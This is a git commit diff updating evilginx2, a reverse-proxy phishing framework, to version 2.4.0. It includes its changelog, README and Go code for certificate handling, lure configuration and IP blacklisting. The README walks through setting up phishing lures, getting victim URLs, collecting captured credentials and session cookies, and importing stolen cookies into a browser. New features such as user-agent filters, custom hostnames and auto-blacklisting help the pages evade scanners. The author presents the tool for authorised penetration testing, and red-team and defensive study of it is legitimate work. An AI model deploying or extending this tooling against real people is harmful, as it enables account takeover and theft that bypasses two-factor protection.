2.4.0 "Gone Phishing" update
This commit is contained in:
parent
cdb21aaac3
commit
6e66a19171
11
.gitignore
vendored
11
.gitignore
vendored
@ -1,5 +1,6 @@
|
||||
/bin/
|
||||
/docs/
|
||||
/img/
|
||||
/release/
|
||||
/build_run.bat
|
||||
bin/
|
||||
docs/
|
||||
img/
|
||||
release/
|
||||
build/
|
||||
phishlets/test-*
|
16
CHANGELOG
16
CHANGELOG
@ -1,3 +1,19 @@
|
||||
2.4.0
|
||||
- Feature: Create and set up pre-phish HTML templates for your campaigns. Create your HTML file and place `{lure_url_html}` or `{lure_url_js}` in code to manage redirection to the phishing page with any form of user interaction. Command: `lures edit <id> template <template>`
|
||||
- Feature: Create customized hostnames for every phishing lure. Command: `lures edit <id> hostname <hostname>`.
|
||||
- Feature: Support for routing connection via SOCKS5 and HTTP(S) proxies. Command: `proxy`.
|
||||
- Feature: IP blacklist with automated IP address blacklisting and blocking on all or unauthorized requests. Command: `blacklist`
|
||||
- Feature: Custom parameters can now be embedded encrypted in the phishing url. Command: `lures get-url <id> param1=value1 param2="value2 with spaces"`.
|
||||
- Feature: Requests to phishing urls can now be rejected if User-Agent of the visitor doesn't match the whitelist regular expression filter for given lure. Command: `lures edit <id> ua_filter <regexp>`
|
||||
- List of custom parameters can now be imported directly from file (text, csv, json). Command: `lures get-url <id> import <params_file>`.
|
||||
- Generated phishing urls can now be exported to file (text, csv, json). Command: `lures get-url <id> import <params_file> export <export_file> <text|csv|json>`.
|
||||
- Fixed: Requesting LetsEncrypt certificates multiple times without restarting. Subsequent requests would result in "No embedded JWK in JWS header" error.
|
||||
- Removed setting custom parameters in lures options. Parameters will now only be sent encoded with the phishing url.
|
||||
- Added `with_params` option to `sub_filter` allowing to enable the sub_filter only when specific parameter was set with the phishing url.
|
||||
- Made command help screen easier to read.
|
||||
- Improved autofill for `lures edit` commands and switched positions of `<id>` and the variable name.
|
||||
- Increased the duration of whitelisting authorized connections for whole IP address from 15 seconds to 10 minutes.
|
||||
|
||||
2.3.3
|
||||
- Fixed: Multiple concurrent map writes when whitelisting IPs during heavy loads.
|
||||
|
||||
|
@ -1,16 +1,8 @@
|
||||
#### PLEASE READ THE POSTING GUIDELINES AND ANSWER THE QUESTION BEFORE POSTING, OTHERWISE ISSUE WILL BE CLOSED AND MARKED AS INVALID
|
||||
#### DO NOT ASK FOR PHISHLETS.
|
||||
#### DO NOT ASK FOR HELP CREATING PHISHLETS.
|
||||
#### DO NOT ASK TO FIX PHISHLETS.
|
||||
#### DO NOT ADVERTISE OR TRY TO SELL PHISHLETS.
|
||||
|
||||
* I hereby declare the following issue is a **[tool specific question/bug report]** and it is **NOT** a help request about creating a phishlet.
|
||||
* I am fully aware that this is not a customer support portal, I can't demand answers and I'm aware I am using a free tool.
|
||||
* I am not going to use Evilginx to hax my girlfriend's account or use it for any other illegal purpose.
|
||||
* I am not trying to set up a domain on FreeNOM (also read the sentence above again).
|
||||
* I am not a robot.
|
||||
*(Sorry, if you are an adult and a professional and you had to read this.)*
|
||||
|
||||
Please type in "**I CONFIRM**" below if you confirm the sentences above or otherwise make some funny remark:
|
||||
|
||||
*<type_in_here>*
|
||||
|
||||
Thanks!
|
||||
--
|
||||
#### EXPECT A BAN OTHERWISE. THANK YOU!
|
||||
|
||||
#### REPORT ONLY BUGS OR FEATURE SUGGESTIONS.
|
||||
|
2
Makefile
2
Makefile
@ -13,5 +13,7 @@ clean:
|
||||
|
||||
install:
|
||||
@mkdir -p /usr/share/evilginx/phishlets
|
||||
@mkdir -p /usr/share/evilginx/templates
|
||||
@cp ./phishlets/* /usr/share/evilginx/phishlets/
|
||||
@cp ./templates/* /usr/share/evilginx/templates/
|
||||
@cp ./bin/$(TARGET) /usr/local/bin
|
||||
|
61
README.md
61
README.md
@ -18,17 +18,22 @@ Present version is fully written in GO as a standalone application, which implem
|
||||
|
||||
I am very much aware that Evilginx can be used for nefarious purposes. This work is merely a demonstration of what adept attackers can do. It is the defender's responsibility to take such attacks into consideration and find ways to protect their users against this type of phishing attacks. Evilginx should be used only in legitimate penetration testing assignments with written permission from to-be-phished parties.
|
||||
|
||||
## Video
|
||||
|
||||
See **evilginx2** in action here:
|
||||
|
||||
[](https://vimeo.com/281220095)
|
||||
|
||||
## Write-up
|
||||
|
||||
If you want to learn more about this phishing technique, I've published an extensive blog post about **evilginx2** here:
|
||||
If you want to learn more about this phishing technique, I've published extensive blog posts about **evilginx2** here:
|
||||
|
||||
https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens
|
||||
[Evilginx 2.0 - Release](https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens)
|
||||
[Evilginx 2.1 - First Update](https://breakdev.org/evilginx-2-1-the-first-post-release-update/)
|
||||
[Evilginx 2.2 - Jolly Winter Update](https://breakdev.org/evilginx-2-2-jolly-winter-update/)
|
||||
[Evilginx 2.3 - Phisherman's Dream](https://breakdev.org/evilginx-2-3-phishermans-dream/)
|
||||
[Evilginx 2.4 - Gone Phishing](breakdev.org/evilginx-2-4-gone-phishing/)
|
||||
|
||||
## Video guide
|
||||
|
||||
Take a look at the fantastic videos made by Luke Turvey ([@TurvSec](https://twitter.com/TurvSec)), which fully explain how to get started using **evilginx2**.
|
||||
|
||||
[](https://www.youtube.com/watch?v=B3CycQgkVY0)
|
||||
[](https://www.youtube.com/watch?v=8mfsF5Qdqw0)
|
||||
|
||||
## Phishlet Masters - Hall of Fame
|
||||
|
||||
@ -56,22 +61,14 @@ Evilginx runs very well on the most basic Debian 8 VPS.
|
||||
|
||||
#### Installing from source
|
||||
|
||||
In order to compile from source, make sure you have installed **GO** of version at least **1.14.0** (get it from [here](https://golang.org/doc/install)) and that `$GOPATH` environment variable is set up properly (def. `$HOME/go`).
|
||||
In order to compile from source, make sure you have installed **GO** of version at least **1.14.0** (get it from [here](https://golang.org/doc/install)).
|
||||
|
||||
After installation, add this to your `~/.profile`, assuming that you installed **GO** in `/usr/local/go`:
|
||||
When you have GO installed, type in the following:
|
||||
|
||||
```
|
||||
export GOPATH=$HOME/go
|
||||
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
|
||||
```
|
||||
Then load it with `source ~/.profiles`.
|
||||
|
||||
Now you should be ready to install **evilginx2**. Follow these instructions:
|
||||
|
||||
```
|
||||
sudo apt-get install git make
|
||||
go get -u github.com/kgretzky/evilginx2
|
||||
cd $GOPATH/src/github.com/kgretzky/evilginx2
|
||||
sudo apt-get -y install git make
|
||||
git clone github.com/kgretzky/evilginx2
|
||||
cd evilginx2
|
||||
make
|
||||
```
|
||||
|
||||
@ -105,8 +102,8 @@ Phishlets are loaded within the container at `/app/phishlets`, which can be moun
|
||||
|
||||
Grab the package you want from [here](https://github.com/kgretzky/evilginx2/releases) and drop it on your box. Then do:
|
||||
```
|
||||
unzip <package_name>.zip -d <package_name>
|
||||
cd <package_name>
|
||||
tar zxvf evilginx-linux-amd64.tar.gz
|
||||
cd evilginx
|
||||
```
|
||||
|
||||
If you want to do a system-wide install, use the install script with root privileges:
|
||||
@ -127,14 +124,20 @@ sudo ./evilginx
|
||||
|
||||
By default, **evilginx2** will look for phishlets in `./phishlets/` directory and later in `/usr/share/evilginx/phishlets/`. If you want to specify a custom path to load phishlets from, use the `-p <phishlets_dir_path>` parameter when launching the tool.
|
||||
|
||||
By default, **evilginx2** will look for HTML temapltes in `./templates/` directory and later in `/usr/share/evilginx/templates/`. If you want to specify a custom path to load HTML templates from, use the `-t <templates_dir_path>` parameter when launching the tool.
|
||||
|
||||
```
|
||||
Usage of ./evilginx:
|
||||
-c string
|
||||
Configuration directory path
|
||||
-debug
|
||||
Enable debug output
|
||||
-developer
|
||||
Enable developer mode (generates self-signed certificates for all hostnames)
|
||||
-p string
|
||||
Phishlets directory path
|
||||
-t string
|
||||
HTML templates directory path
|
||||
```
|
||||
|
||||
You should see **evilginx2** logo with a prompt to enter commands. Type `help` or `help <command>` if you want to see available commands or more detailed information on them.
|
||||
@ -168,11 +171,11 @@ phishlets enable linkedin
|
||||
Your phishing site is now live. Think of the URL, you want the victim to be redirected to on successful login and get the phishing URL like this (victim will be redirected to `https://www.google.com`):
|
||||
```
|
||||
lures create linkedin
|
||||
lures edit redirect_url 0 https://www.google.com
|
||||
lures edit 0 redirect_url https://www.google.com
|
||||
lures get-url 0
|
||||
```
|
||||
|
||||
Running phishlets will only respond to tokenized links, so any scanners who scan your main domain will be redirected to URL specified as `redirect_url` under `config`. If you want to hide your phishlet and make it not respond even to valid tokenized phishing URLs, use `phishlet hide/unhide <phishlet>` command.
|
||||
Running phishlets will only respond to phishing links generating for specific lures, so any scanners who scan your main domain will be redirected to URL specified as `redirect_url` under `config`. If you want to hide your phishlet and make it not respond even to valid lure phishing URLs, use `phishlet hide/unhide <phishlet>` command.
|
||||
|
||||
You can monitor captured credentials and session cookies with:
|
||||
```
|
||||
@ -186,15 +189,11 @@ sessions <id>
|
||||
|
||||
The captured session cookie can be copied and imported into Chrome browser, using [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) extension.
|
||||
|
||||
**Important!** If you want **evilginx2** to continue running after you log out from your server, you should run it inside a `screen` session.
|
||||
**Important!** If you want **evilginx2** to continue running after you log out from your server, you should run it inside a `screen` or `tmux` session.
|
||||
|
||||
## Support
|
||||
|
||||
If you want to report issues with the tool, please do it by submitting a pull request. Thank you!
|
||||
|
||||
## Credits
|
||||
|
||||
Huge thanks to Simone Margaritelli ([@evilsocket](https://twitter.com/evilsocket)) for [bettercap](https://github.com/bettercap/bettercap) and inspiring me to learn GO and rewrite the tool in that language!
|
||||
I DO NOT offer support for providing or creating phishlets. I will also NOT help you with creation of your own phishlets. There are many phishlets provided as examples, which you can use to create your own.
|
||||
|
||||
## License
|
||||
|
||||
|
@ -8,7 +8,7 @@ import (
|
||||
)
|
||||
|
||||
const (
|
||||
VERSION = "2.3.3"
|
||||
VERSION = "2.4.0"
|
||||
)
|
||||
|
||||
func putAsciiArt(s string) {
|
||||
@ -54,6 +54,12 @@ func printLogo(s string) {
|
||||
color.Unset()
|
||||
}
|
||||
|
||||
func printUpdateName() {
|
||||
nameClr := color.New(color.FgHiRed)
|
||||
txt := nameClr.Sprintf(" - -- Gone Phishing -- -")
|
||||
fmt.Fprintf(color.Output, "%s", txt)
|
||||
}
|
||||
|
||||
func printOneliner1() {
|
||||
handleClr := color.New(color.FgHiBlue)
|
||||
versionClr := color.New(color.FgGreen)
|
||||
@ -95,9 +101,11 @@ func Banner() {
|
||||
fmt.Println()
|
||||
putAsciiArt(" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \n")
|
||||
putAsciiArt(" @@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@ ")
|
||||
printOneliner2()
|
||||
printUpdateName()
|
||||
fmt.Println()
|
||||
putAsciiArt(" @@@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@@ \n")
|
||||
//printOneliner2()
|
||||
//fmt.Println()
|
||||
putAsciiArt("_ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _")
|
||||
printOneliner1()
|
||||
fmt.Println()
|
||||
|
120
core/blacklist.go
Normal file
120
core/blacklist.go
Normal file
@ -0,0 +1,120 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/kgretzky/evilginx2/log"
|
||||
)
|
||||
|
||||
const (
|
||||
BLACKLIST_MODE_FULL = 0
|
||||
BLACKLIST_MODE_UNAUTH = 1
|
||||
BLACKLIST_MODE_OFF = 2
|
||||
)
|
||||
|
||||
type BlockIP struct {
|
||||
ipv4 net.IP
|
||||
mask *net.IPNet
|
||||
}
|
||||
|
||||
type Blacklist struct {
|
||||
ips map[string]*BlockIP
|
||||
masks []*BlockIP
|
||||
configPath string
|
||||
mode int
|
||||
}
|
||||
|
||||
func NewBlacklist(path string) (*Blacklist, error) {
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_RDONLY, 0644)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
bl := &Blacklist{
|
||||
ips: make(map[string]*BlockIP),
|
||||
configPath: path,
|
||||
mode: BLACKLIST_MODE_OFF,
|
||||
}
|
||||
|
||||
fs := bufio.NewScanner(f)
|
||||
fs.Split(bufio.ScanLines)
|
||||
|
||||
for fs.Scan() {
|
||||
l := fs.Text()
|
||||
// remove comments
|
||||
if n := strings.Index(l, ";"); n > -1 {
|
||||
l = l[:n]
|
||||
}
|
||||
l = strings.Trim(l, " ")
|
||||
|
||||
if len(l) > 0 {
|
||||
if strings.Contains(l, "/") {
|
||||
ipv4, mask, err := net.ParseCIDR(l)
|
||||
if err == nil {
|
||||
bl.masks = append(bl.masks, &BlockIP{ipv4: ipv4, mask: mask})
|
||||
} else {
|
||||
log.Error("blacklist: invalid ip/mask address: %s", l)
|
||||
}
|
||||
} else {
|
||||
ipv4 := net.ParseIP(l)
|
||||
if ipv4 != nil {
|
||||
bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
|
||||
} else {
|
||||
log.Error("blacklist: invalid ip address: %s", l)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log.Info("blacklist: loaded %d ip addresses or ip masks", len(bl.ips)+len(bl.masks))
|
||||
return bl, nil
|
||||
}
|
||||
|
||||
func (bl *Blacklist) AddIP(ip string) error {
|
||||
if bl.IsBlacklisted(ip) {
|
||||
return nil
|
||||
}
|
||||
|
||||
ipv4 := net.ParseIP(ip)
|
||||
if ipv4 != nil {
|
||||
bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
|
||||
} else {
|
||||
return fmt.Errorf("blacklist: invalid ip address: %s", ip)
|
||||
}
|
||||
|
||||
// write to file
|
||||
f, err := os.OpenFile(bl.configPath, os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
_, err = f.WriteString(ipv4.String() + "\n")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (bl *Blacklist) IsBlacklisted(ip string) bool {
|
||||
ipv4 := net.ParseIP(ip)
|
||||
if ipv4 == nil {
|
||||
return false
|
||||
}
|
||||
|
||||
if _, ok := bl.ips[ip]; ok {
|
||||
return true
|
||||
}
|
||||
for _, m := range bl.masks {
|
||||
if m.mask != nil && m.mask.Contains(ipv4) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
264
core/certdb.go
264
core/certdb.go
@ -25,6 +25,8 @@ import (
|
||||
"github.com/go-acme/lego/v3/registration"
|
||||
)
|
||||
|
||||
const HOSTS_DIR = "hosts"
|
||||
|
||||
type CertDb struct {
|
||||
PrivateKey *rsa.PrivateKey
|
||||
CACert tls.Certificate
|
||||
@ -34,7 +36,8 @@ type CertDb struct {
|
||||
ns *Nameserver
|
||||
hs *HttpServer
|
||||
cfg *Config
|
||||
cache map[string]map[string]*tls.Certificate
|
||||
hostCache map[string]*tls.Certificate
|
||||
phishletCache map[string]map[string]*tls.Certificate
|
||||
tls_cache map[string]*tls.Certificate
|
||||
httpChallenge *HTTPChallenge
|
||||
}
|
||||
@ -84,7 +87,8 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
|
||||
}
|
||||
|
||||
legolog.Logger = log.NullLogger()
|
||||
d.cache = make(map[string]map[string]*tls.Certificate)
|
||||
d.hostCache = make(map[string]*tls.Certificate)
|
||||
d.phishletCache = make(map[string]map[string]*tls.Certificate)
|
||||
d.tls_cache = make(map[string]*tls.Certificate)
|
||||
|
||||
pkey_pem, err := ioutil.ReadFile(filepath.Join(data_dir, "private.key"))
|
||||
@ -163,6 +167,159 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
func (d *CertDb) Reset() {
|
||||
d.certUser.Email = "" //hostmaster@" + d.cfg.GetBaseDomain()
|
||||
}
|
||||
|
||||
func (d *CertDb) SetupHostnameCertificate(hostname string) error {
|
||||
err := d.loadHostnameCertificate(hostname)
|
||||
if err != nil {
|
||||
log.Warning("failed to load certificate files for hostname '%s': %v", hostname, err)
|
||||
log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
|
||||
err = d.obtainHostnameCertificate(hostname)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *CertDb) GetHostnameCertificate(hostname string) (*tls.Certificate, error) {
|
||||
cert, ok := d.hostCache[hostname]
|
||||
if ok {
|
||||
return cert, nil
|
||||
}
|
||||
return nil, fmt.Errorf("certificate for hostname '%s' not found", hostname)
|
||||
}
|
||||
|
||||
func (d *CertDb) addHostnameCertificate(hostname string, cert *tls.Certificate) {
|
||||
d.hostCache[hostname] = cert
|
||||
}
|
||||
|
||||
func (d *CertDb) loadHostnameCertificate(hostname string) error {
|
||||
crt_dir := filepath.Join(d.dataDir, HOSTS_DIR)
|
||||
|
||||
cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, hostname+".crt"), filepath.Join(crt_dir, hostname+".key"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.addHostnameCertificate(hostname, &cert)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *CertDb) obtainHostnameCertificate(hostname string) error {
|
||||
if err := CreateDir(filepath.Join(d.dataDir, HOSTS_DIR), 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
crt_dir := filepath.Join(d.dataDir, HOSTS_DIR)
|
||||
|
||||
domains := []string{hostname}
|
||||
cert_res, err := d.registerCertificate(domains)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.addHostnameCertificate(hostname, &cert)
|
||||
|
||||
err = ioutil.WriteFile(filepath.Join(crt_dir, hostname+".crt"), cert_res.Certificate, 0600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(crt_dir, hostname+".key"), cert_res.PrivateKey, 0600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *CertDb) SetupPhishletCertificate(site_name string, domains []string) error {
|
||||
base_domain, ok := d.cfg.GetSiteDomain(site_name)
|
||||
if !ok {
|
||||
return fmt.Errorf("phishlet '%s' not found", site_name)
|
||||
}
|
||||
|
||||
err := d.loadPhishletCertificate(site_name, base_domain)
|
||||
if err != nil {
|
||||
log.Warning("failed to load certificate files for phishlet '%s', domain '%s': %v", site_name, base_domain, err)
|
||||
log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
|
||||
err = d.obtainPhishletCertificate(site_name, base_domain, domains)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *CertDb) GetPhishletCertificate(site_name string, base_domain string) (*tls.Certificate, error) {
|
||||
m, ok := d.phishletCache[base_domain]
|
||||
if ok {
|
||||
cert, ok := m[site_name]
|
||||
if ok {
|
||||
return cert, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("certificate for phishlet '%s' and domain '%s' not found", site_name, base_domain)
|
||||
}
|
||||
|
||||
func (d *CertDb) addPhishletCertificate(site_name string, base_domain string, cert *tls.Certificate) {
|
||||
_, ok := d.phishletCache[base_domain]
|
||||
if !ok {
|
||||
d.phishletCache[base_domain] = make(map[string]*tls.Certificate)
|
||||
}
|
||||
d.phishletCache[base_domain][site_name] = cert
|
||||
}
|
||||
|
||||
func (d *CertDb) loadPhishletCertificate(site_name string, base_domain string) error {
|
||||
crt_dir := filepath.Join(d.dataDir, base_domain)
|
||||
|
||||
cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, site_name+".crt"), filepath.Join(crt_dir, site_name+".key"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.addPhishletCertificate(site_name, base_domain, &cert)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *CertDb) obtainPhishletCertificate(site_name string, base_domain string, domains []string) error {
|
||||
if err := CreateDir(filepath.Join(d.dataDir, base_domain), 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
crt_dir := filepath.Join(d.dataDir, base_domain)
|
||||
|
||||
cert_res, err := d.registerCertificate(domains)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
d.addPhishletCertificate(site_name, base_domain, &cert)
|
||||
|
||||
err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".crt"), cert_res.Certificate, 0600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".key"), cert_res.PrivateKey, 0600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *CertDb) registerCertificate(domains []string) (*certificate.Resource, error) {
|
||||
var err error
|
||||
d.certUser = CertUser{
|
||||
Email: "", //hostmaster@" + d.cfg.GetBaseDomain(),
|
||||
key: d.PrivateKey,
|
||||
@ -182,70 +339,9 @@ func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*C
|
||||
d.client.Challenge.SetHTTP01Provider(d.httpChallenge)
|
||||
d.client.Challenge.Remove(challenge.TLSALPN01)
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
func (d *CertDb) Reset() {
|
||||
d.certUser.Email = "" //hostmaster@" + d.cfg.GetBaseDomain()
|
||||
}
|
||||
|
||||
func (d *CertDb) SetupCertificate(site_name string, domains []string) error {
|
||||
base_domain, ok := d.cfg.GetSiteDomain(site_name)
|
||||
if !ok {
|
||||
return fmt.Errorf("phishlet '%s' not found", site_name)
|
||||
}
|
||||
|
||||
err := d.loadCertificate(site_name, base_domain)
|
||||
if err != nil {
|
||||
log.Warning("failed to load certificate files for phishlet '%s', domain '%s': %v", site_name, base_domain, err)
|
||||
log.Info("requesting SSL/TLS certificates from LetsEncrypt...")
|
||||
err = d.obtainCertificate(site_name, base_domain, domains)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *CertDb) GetCertificate(site_name string, base_domain string) (*tls.Certificate, error) {
|
||||
m, ok := d.cache[base_domain]
|
||||
if ok {
|
||||
cert, ok := m[site_name]
|
||||
if ok {
|
||||
return cert, nil
|
||||
}
|
||||
}
|
||||
return nil, fmt.Errorf("certificate for phishlet '%s' and domain '%s' not found", site_name, base_domain)
|
||||
}
|
||||
|
||||
func (d *CertDb) addCertificate(site_name string, base_domain string, cert *tls.Certificate) {
|
||||
_, ok := d.cache[base_domain]
|
||||
if !ok {
|
||||
d.cache[base_domain] = make(map[string]*tls.Certificate)
|
||||
}
|
||||
d.cache[base_domain][site_name] = cert
|
||||
}
|
||||
|
||||
func (d *CertDb) loadCertificate(site_name string, base_domain string) error {
|
||||
crt_dir := filepath.Join(d.dataDir, base_domain)
|
||||
|
||||
cert, err := tls.LoadX509KeyPair(filepath.Join(crt_dir, site_name+".crt"), filepath.Join(crt_dir, site_name+".key"))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.addCertificate(site_name, base_domain, &cert)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *CertDb) obtainCertificate(site_name string, base_domain string, domains []string) error {
|
||||
if err := CreateDir(filepath.Join(d.dataDir, base_domain), 0700); err != nil {
|
||||
return err
|
||||
}
|
||||
crt_dir := filepath.Join(d.dataDir, base_domain)
|
||||
|
||||
reg, err := d.client.Registration.Register(registration.RegisterOptions{TermsOfServiceAgreed: true})
|
||||
if err != nil {
|
||||
return err
|
||||
return nil, err
|
||||
}
|
||||
d.certUser.Registration = reg
|
||||
|
||||
@ -256,25 +352,10 @@ func (d *CertDb) obtainCertificate(site_name string, base_domain string, domains
|
||||
|
||||
cert_res, err := d.client.Certificate.Obtain(req)
|
||||
if err != nil {
|
||||
return err
|
||||
return nil, err
|
||||
}
|
||||
|
||||
cert, err := tls.X509KeyPair(cert_res.Certificate, cert_res.PrivateKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.addCertificate(site_name, base_domain, &cert)
|
||||
|
||||
err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".crt"), cert_res.Certificate, 0600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(crt_dir, site_name+".key"), cert_res.PrivateKey, 0600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
return cert_res, nil
|
||||
}
|
||||
|
||||
func (d *CertDb) getServerCertificate(host string, port int) *x509.Certificate {
|
||||
@ -306,6 +387,26 @@ func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int
|
||||
return
|
||||
}
|
||||
|
||||
if phish_host == "" {
|
||||
serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
|
||||
serialNumber, err := rand.Int(rand.Reader, serialNumberLimit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
template = x509.Certificate{
|
||||
SerialNumber: serialNumber,
|
||||
Issuer: x509ca.Subject,
|
||||
Subject: pkix.Name{Organization: []string{"Evilginx Signature Trust Co."}},
|
||||
NotBefore: time.Now(),
|
||||
NotAfter: time.Now().Add(time.Hour * 24 * 180),
|
||||
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
DNSNames: []string{host},
|
||||
BasicConstraintsValid: true,
|
||||
}
|
||||
template.Subject.CommonName = host
|
||||
} else {
|
||||
srvCert := d.getServerCertificate(host, port)
|
||||
if srvCert == nil {
|
||||
return nil, fmt.Errorf("failed to get TLS certificate for: %s", host)
|
||||
@ -330,6 +431,7 @@ func (d *CertDb) SignCertificateForHost(host string, phish_host string, port int
|
||||
}
|
||||
template.Subject.CommonName = phish_host
|
||||
}
|
||||
}
|
||||
|
||||
var pkey *rsa.PrivateKey
|
||||
if pkey, err = rsa.GenerateKey(rand.Reader, 1024); err != nil {
|
||||
|
124
core/config.go
124
core/config.go
@ -12,21 +12,30 @@ import (
|
||||
)
|
||||
|
||||
type Lure struct {
|
||||
Hostname string `mapstructure:"hostname" yaml:"hostname"`
|
||||
Path string `mapstructure:"path" yaml:"path"`
|
||||
RedirectUrl string `mapstructure:"redirect_url" yaml:"redirect_url"`
|
||||
Phishlet string `mapstructure:"phishlet" yaml:"phishlet"`
|
||||
Template string `mapstructure:"template" yaml:"template"`
|
||||
UserAgentFilter string `mapstructure:"ua_filter" yaml:"ua_filter"`
|
||||
Info string `mapstructure:"info" yaml:"info"`
|
||||
OgTitle string `mapstructure:"og_title" yaml:"og_title"`
|
||||
OgDescription string `mapstructure:"og_desc" yaml:"og_desc"`
|
||||
OgImageUrl string `mapstructure:"og_image" yaml:"og_image"`
|
||||
OgUrl string `mapstructure:"og_url" yaml:"og_url"`
|
||||
Params map[string]string `mapstructure:"params" yaml:"params"`
|
||||
}
|
||||
|
||||
type Config struct {
|
||||
siteDomains map[string]string
|
||||
baseDomain string
|
||||
serverIP string
|
||||
proxyType string
|
||||
proxyAddress string
|
||||
proxyPort int
|
||||
proxyUsername string
|
||||
proxyPassword string
|
||||
blackListMode string
|
||||
proxyEnabled bool
|
||||
sitesEnabled map[string]bool
|
||||
sitesHidden map[string]bool
|
||||
phishlets map[string]*Phishlet
|
||||
@ -36,6 +45,7 @@ type Config struct {
|
||||
verificationParam string
|
||||
verificationToken string
|
||||
redirectUrl string
|
||||
templatesDir string
|
||||
lures []*Lure
|
||||
cfg *viper.Viper
|
||||
}
|
||||
@ -51,6 +61,13 @@ const (
|
||||
CFG_VERIFICATION_TOKEN = "verification_token"
|
||||
CFG_REDIRECT_URL = "redirect_url"
|
||||
CFG_LURES = "lures"
|
||||
CFG_PROXY_TYPE = "proxy_type"
|
||||
CFG_PROXY_ADDRESS = "proxy_address"
|
||||
CFG_PROXY_PORT = "proxy_port"
|
||||
CFG_PROXY_USERNAME = "proxy_username"
|
||||
CFG_PROXY_PASSWORD = "proxy_password"
|
||||
CFG_PROXY_ENABLED = "proxy_enabled"
|
||||
CFG_BLACKLIST_MODE = "blacklist_mode"
|
||||
)
|
||||
|
||||
const DEFAULT_REDIRECT_URL = "https://www.youtube.com/watch?v=dQw4w9WgXcQ" // Rick'roll
|
||||
@ -75,8 +92,10 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var created_cfg bool = false
|
||||
c.cfg.SetConfigFile(path)
|
||||
if _, err := os.Stat(path); os.IsNotExist(err) {
|
||||
created_cfg = true
|
||||
err = c.cfg.WriteConfigAs(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@ -95,6 +114,13 @@ func NewConfig(cfg_dir string, path string) (*Config, error) {
|
||||
c.verificationParam = c.cfg.GetString(CFG_VERIFICATION_PARAM)
|
||||
c.verificationToken = c.cfg.GetString(CFG_VERIFICATION_TOKEN)
|
||||
